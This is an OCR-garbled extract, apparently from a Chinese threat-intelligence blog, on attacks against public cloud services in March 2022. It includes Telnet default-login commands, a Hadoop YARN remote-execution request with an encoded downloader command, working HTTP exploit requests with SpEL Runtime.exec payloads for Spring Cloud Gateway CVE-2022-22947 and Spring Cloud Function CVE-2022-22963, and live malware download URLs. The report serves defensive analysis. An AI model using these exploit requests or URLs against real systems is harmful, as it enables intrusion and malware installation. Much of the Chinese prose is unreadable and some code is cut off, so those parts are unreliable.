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RBI : ALTALAIPHELE 239,101 * TR ZARS 25 , BT oo TkE&4L | VilRIRd Bogi A4 ol 3t N S qi e
Fa , HIPE3 A LA BT mFAE TelnetF: NREARITA -

Y@otelnetadmin
telnetadmin

enable

system

shell

sh

/bin/busybox IZTH9

RG502 : T _LiEIPHE£118.89. ¥ *I SRS IP BT+ IMAZE |, iXIPFA Apache TomcatR i

fi2, ThinkPHPfR i, Hadoop YARN ResourceManager <35 A0i77 | a) iR %51 A A B ek & D it 21T
A, F1EHE T TrojanDownloaderZS LS 514 , PAHadoop YARN ResourceManager &% A0 5 [a) iR A5 |,
W iiPayload#i R AR

POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3742
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip

Connection: close

{
"application-id": "application_1526990652950_72948",
"application-name": "i24jndw5",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk@LjE@ONS4yMjcuMjEvbGRyLnNoP2Y5ZWRh)
"application-type": "YARN"
}
WY G

20224318 , Spring]” A S BIRIACVE-2022-22947 , A]aEfFH N AR FZEIREEANBK
. FEA2BB X ATFRIACVE-2022-22963 , % IRiAZZNEIDK 9+_E K SpringMV A& WebFluxi/ A
R, HKINARDEES EAENBZRRER SR,

(1) Spring Cloud Gateway JEF2XAEHITIRIM(CVE-2022-22947)
wiREE

o ZIEIEE : Spring Cloud Gateway 3.1.0, 3.0.0-3.0.6 R AN T F5HI|HhRA
o CVE4RS : CVE-2022-22947
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o HFEHH : 2022.03.01
e CVSS 3.03F4 : 10.0

o HIMREELR : ThHik
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FEspring-cloud-gateway-server/src/main/java/org/springframework/
cloud/gateway/support/ShortcutConfigurable.javad , ¥ getValuetK ¥ f]StandardEvaluationContext . A
GatewayEvaluationContextf& & SpELFRIATNEN :
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@@ -54,8 +65,7 @@ static object getvalue(SpelExpressionParser parser, BeanFactory beanFactory, Str

65 }
66 if (rawvalue != null && rawvalue.startswith("#{") && entryvalue.endsWith("}")) {
67 // assume it's spel
= StandardevaluationContext context = new StandardEvaluationContext();
= context.setBeanResolver(new BeanFactoryResolver(beanFactory));
68  + GatewayEvaluationContext context = new GatewayEvaluaticonContext(new BeanFactoryResolver(beanFactory));
69 Expression expression = parser.parsebExpression(entryvalue, new TemplateParserContext());
7@ value = expression.getvalue(context);
71 ¥

@@ -156,4 +166,73 @@ default String shortcutFieldPrefix() {

166

167 }

168

168+ class GatewayEvaluationContext implements EvaluationContext {

170 +

171 + private final BeanFactoryResolver beanFactoryResolver;

172 +

173+ private SimpleEvaluationContext delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
174 ¢

[RiRS4T]

EE K ¥ getValuel 1A , ERouteDefinitionLocatortR#{+ , fR#ERouteDefinition}ZHX GatewayFilter :

static Object getValue(SpelExpression|. x g ShortcutConfigurable.getValue(SpelExpressionParser, BeanFactory, String) (o

pringfrai

Object value; m % Enum constant 'DEFAULT' in 'ShortcutType in ShortcutConfigurable’.normalize(Map <Str
String rawValue = entryValue; # % ShortcutConfigurableTests.testNormalizeGatherListTypeWithSpel() (org.springframe
if (rawValue != null) { 1 m ¢ normalizeProperties() in ConfigurableBuilder in ConfigurationService (orc an

rawvalue = rawValue.trim(); m bind() in AbstractBuilder in ConfigurationService (org.s jframe 1
} m = WeightCalculatorWebFilter.handle(PredicateArgsEvent) (org.sprinc
if (rawValue '= null & rawvalue.: m RouteDefinitionRouteLocator.lookup(RouteDefinition, PredicateDefinition)
. m < RouteDefinitionRoutelLocator.loadGatewayFilters(String, List<FilterDefinition>
// assume it's spel . ) o
A m & RouteDefinitionRoutelocator.getFilters(RouteDefinition)(2 usages) g.sf
StandardEvaluationContext conj > m & RouteDefinitionRoutelLocator.convertToRoute(RouteDefinition) (oro.sp
context.setBeanResolver(new Bl m ‘% AbstractRateLimiter.onApplicationEvent(FilterArgsEvent) (org.springframewo
Expression expression = parse| m © BetweenRoutePredicateFactoryTests.bindConfig(HashMap<String, Object>, A
value = expression.getValue(ci m & ShortcutConfigurableTests.assertListTailFlag(boolean) (¢
} i % ShortcutConfigurableTests.testNormalizeDefaultTypeWithSpel() (oro.s g
else { m Enum constant 'GATHER_LIST" in 'ShortcutType in ShortcutConfigurable’.normalize(Map
value = entryValue; m % Enum constant 'GATHER_LIST_TAIL_FLAG" in "ShortcutType in ShortcutConfigurable’.norr

RIEE AR , BT Actuator APTR] B3 -
11.5 Creating and deleting a particular route

To create a route, make a POST requestto /gateway/routes/{id_route_to_create} with a JSON body that specifies the fields of the route
subsection).

To delete a route, make a DELETE requestto /gateway/routes/{id_route_to_delete}.

FE {1 Actuatorf{J35 %l 25 AbstractGatewayControllerEndpoint , 8#ERouteDefinitionfi##T#3E :
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actuate 3 %/ s
© AbstractGatewayC¢
€ GatewayController|
€ GatewaylegacyCor

@PostMapping("/routes/{id}")
Junchecked/
public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {

config
discovery
event il return Mono.just(route).doOnNext(this::validateRouteDefinition) Mono<RouteDefinition>
filter 1 e .flatMap(routeDefinition -> this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> {
handler 40 r.setId(id);
route 4 log.debug("Saving route: " + route);
support 42 return r;
kotlin

})).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()))))

resources .switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build())))

WEM R, KIEBRARGHHIRKIpayload U

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.7
Connection: close
Content-Type: application/json
Content-Length: 329

"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRu
}
H,

uri": "http://example.com"

validateRouteDefinitioneK #5/& FlisAvailableeR # Xt name it { 7425 :

@ private void validateRouteDefinition(RouteDefinition routeDefinition) {
[ ] Set<String> unavailableFilterDefinitions = routeDefinition.getFilters().stream().filter(rd -> !isAvailable(rd))
.map(FilterDefinition::getName).collect(Collectors.toSet());

Set<String> unavailablePredicatesDefinitions = routeDefinition.getPredicates().stream()
.filter(rd -> !isAvailable(rd)).map(PredicateDefinition::getName).collect(Collectors.toSet());
if (lunavailableFilterDefinitions.isEmpty()) {...}
else if (!unavailablePredicatesDefinitions.isEmpty()) {...}
private void handleUnavailableDefinition(String simpleName, Set<String> unavailableDefinitions) {...}
private boolean isAvailable(FilterDefinition filterDefinition) {

® return GatewayFilters.stream()
.anyMatch(gatewayFilterFactory -> filterDefinition.getName().equals(gatewayFilterFactory.name()));

SRR B L Fname & 5445
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: boolean isAvailable(FilterDefinition filterDefinition) { filterDefinition: "FilterDefinition{name='AddResponseHeads
urn this.GatewayFilters.stream().anyMatch((gatewayFilterFactory) GatewayFilters: size = 29

return f GatewayFilters = {Arraylist@8548} size = 29
> 0 = {AddRequestHeaderGatewayfFilterFactory@10821} "[AddRequestHeaderGatewayFilterFactory@3af58f76 configClass = AbstractNameVe
> 1 = {MapRequestHeaderGatewayFilterFactory@10822} "[MapRequestHeaderGatewayFilterFactory@2ead6ba4 configClass = MapRequestH:
> 2 = {AddRequestParameterGatewayFilterFactory@10823} "[AddRequestParameterGatewayFilterFactory@31a2a9fa configClass = AbstractN
pleApplicat] > 3 = {AddResponseHeaderGatewayFilterFactory@ 10824} "[AddResponseHeaderGatewayFilterFactory@31b82e0f configClass = AbstractNar
= |~ > 4 = {ModifyRequestBodyGatewayFilterFactory@10825} "[ModifyRequestBodyGatewayFilterFactory@27a09971 configClass = ModifyReque:
TU.Z3.17.| > 5 = {DedupeResponseHeaderGatewayFilterFactory@10826} "[DedupeResponseHeaderGatewayFilterFactory@6215366a configClass = Dedu
10:23:19 > 6 = {ModifyResponseBodyGatewayFilterFactory@10827} "[ModifyResponseBodyGatewayFilterFactory@46dcbeab configClass = ModifyRes)
10:23:19 > 7 = {CacheRequestBodyGatewayFilterFactory@10828} *[CacheRequestBodyGatewayFilterFactory@36e43829 configClass = CacheRequestBc
10:23:19 > 8 = [PrefixPathGatewayFilterFactory@10829] "[PrefixPathGatewayFilterFactory@152c4495 configClass = PrefixPathGatewayFilterFactory.Coi
10:23:19 > 9 = {PreserveHostHeaderGatewayFilterFactory@10830} "[PreserveHostHeaderGatewayFilterFactory@5ec1963c configClass = Object]”
10:23:19 > 10 = {RedirectToGatewayFilterFactory@10831} "[RedirectToGatewayFilterFactory@7dcb42a9 configClass = RedirectToGatewayFilterFactory
TS > 11 = {RemoveRequestHeaderGatewayFilterFactory@10832} "[RemoveRequestHeaderGatewayFilterFactory@6af90849 configClass = Abstrac

I , RIEE ATk refresh :

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: @

BN AR ZAE T MERT

value = expression.getvalue(context);

expression = {SpelExpression@11007}

“f) expression = "new String(T(org.springframework.util. StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime(). ( String[1{"id"}).getinputStream()))"
ast = {ConstructorReference@11010}

configuration = {SpelParserConfiguration@11011}

evaluationContext = null

compiledAst = null

interpretedCount = {Atomicinteger@11012} "0"

failedAttempts = {Atomiclnteger@11013} "0"
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(2) Spring Cloud Function SpELFRIAT AL ITIRIFA(CVE-2022-22963)
IRMEE

o #MEARA : 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
« CVE4RS : CVE-2022-22963

o EHHA : 2022.03.24

e CVSS3.03¥4% : 9.8

o FINREEER : Tk

B2uRRRATRE , EAEREE=AMALRRTEER M ER T ETR.
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3 e Dofloo
e multiple
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® Riskware
2 .
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1 .
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IR RANIRTERLES |, TR XRIRNSA T 24T,
RiRANT ]

fefunctionFromExpression#1&bool Z5HY 2 ¥isViaHeader

125 129 }
126 130 else if (StringUtils_hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression™))) {
127 - function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud. function.routing-expression"), message);

131+ function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud. function.routing-expression”), message, true);

1B IdisViaHeader ¥|W7 , HiEk¥EHheadersk#F#Espring.cloud.function.routing-expression3kh , i F
SimpleEvaluationContexteR ¥4 , SimpleEvaluationContext $1X§ N & SpELIE S 18/AK £ ESuE B2
BERBIKFRERZES, SpELTTIE A AJavaZésd£ . 5| Fbean, AM1EE SPELFR AR IFENIFIA.

203+ private FunctionInvocationkrapper functionFromExpression(String routingExpression, Object input, boolean isViaHeader) {
204 Expression expression = spelParser.parseExpression(routingExpression);

205 if (input instanceof Message) {

206 input = MessageUtils.toCaseInsensitiveHeadersStructure((Message<?>) input);

207 s

2e8

String functionName = expression.getValue(this.evalContext, input, String.class);

209 4 String functionName = isViaHeader ? expression.getValue(this.headerEvalContext, input, String.class) : expression.getValue(this.evalContext, input, String.class);

[R5

18 3% RoutingFunction& F{i; T FunctionWebRequestProcessingHelperf{] A] 5E1/& F :

Keader viode | <
/rawtypes, unchecked/

@ public static Publisher<?> processRequest(FunctionWrapper wrapper, Object argument, boolean eventStre
FunctionInvocationWrapper function = wrapper.getFunction(); function: "functionRouter<claoss javc

HttpHeaders headers = wrapper.getHeaders(); wrapper: Functionlrapper@5668 headers: size = 5|

Message<?> inputMessage = argument == null ? null : MessageBuilder.withPayload(argument).copyHead

& if (function.RJLIMSOLIANIESE] ()) { function: "functionRouter<class java.lang.Object, class jav(
function.setSkipOutputConversion(true);

#RJEFunctionWebRequestProcessingHelper.processRequestiyi] [543 , FunctionControllerf3 [ flpostig sk
AR
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@SuppressWiarnings ("unchecked")
@PostMapping(path = "/%x") +
@ResponseBody
public Mono<ResponseEntity<?>> post(ServerWebExchange request,
@RequestBody(required = false) String body) {
) return (Mono<ResponseEntity<?>>) FunctionWebRequestProcessingHelper.processRequest(wrapper(request), bo

WEWT R, RIEEHEART IR Ipayload¥§i :

POST /functionRouter HTTP/1.1

Host: 127.0.0.1:8080

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded

Content-Length: 4

test

fEFunctionWebRequestProcessingHelper.processRequest() BRI EAMRF |, ¥I|WrequestXf N f{)function A
RoutingFunctionZEHYRT | 33t A RoutingFunction.apply()4MHE :

Object input = argument == null ? "" : (argument instanceof Publisher ? Flux.from((Publisher) arg

- Object result = function.apply(input); function: "functionRouter<class java.
if (function.isConsumer()) {
if (result instanceof Publisher) {
Mono.from((Publisher) result).subscribe();

RoutingFunction.apply & firouteei#¥§ , routerR#{ )\ Header$g EXspring.cloud.function.routing-expression , #X
Ja A FifunctionFromExpressioneK ¥ 40 1E -

public Object apply(Object input) {
return this.route(input, input instanceof Publisher);

500 023
private Object route(Object input, boolean originallnputIsPublisher) { originolInputIsPublisher: folse
FunctionInvocationWrapper function = null; function: null

if (input instanceof Message) {
Message<?> message = (Message<?>) input; input: "GenericMessage [paylood={test=[]}, headers={con
if (this.routingCallback != null) {...}
if (function == null) {
if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition")]

-- else if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing
function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud.ful

functionFromExpressiont& ¥k X requestfifi{E{a L& , VA expression.getvalueeR¥X , FFIESpELF X%
MR

Page 9 of 14



https://blog.netlab.360.com /public-cloud-threat-intelligence-202203/

private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) { routi
Expression expression = spelParser.parseExpression(routingExpression); routingExpression: "T(java.la
if (input instanceof Message) {
input = MessageUtils.toCaseInsensitiveHeadersStructure((Message<?>) input);

F

String functionName = expression.getValue(this.evalContext, input, String.class); expression: S|
Assert.hasText(functionName, message: "Failed to resolve function name based on routing expression '"
FunctionInvocationWrapper function = functionCatalog.lookup(functionName);
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WEERIHERBERDH |, EEIEW 2 (CoinMiner) FAMERS , KT FEEE (TrojanDownloader)
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URL :

http://14.1.98.226:8880/7z
http://51.81.133.90/NWWW. 6
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md>5 :
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Source: https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
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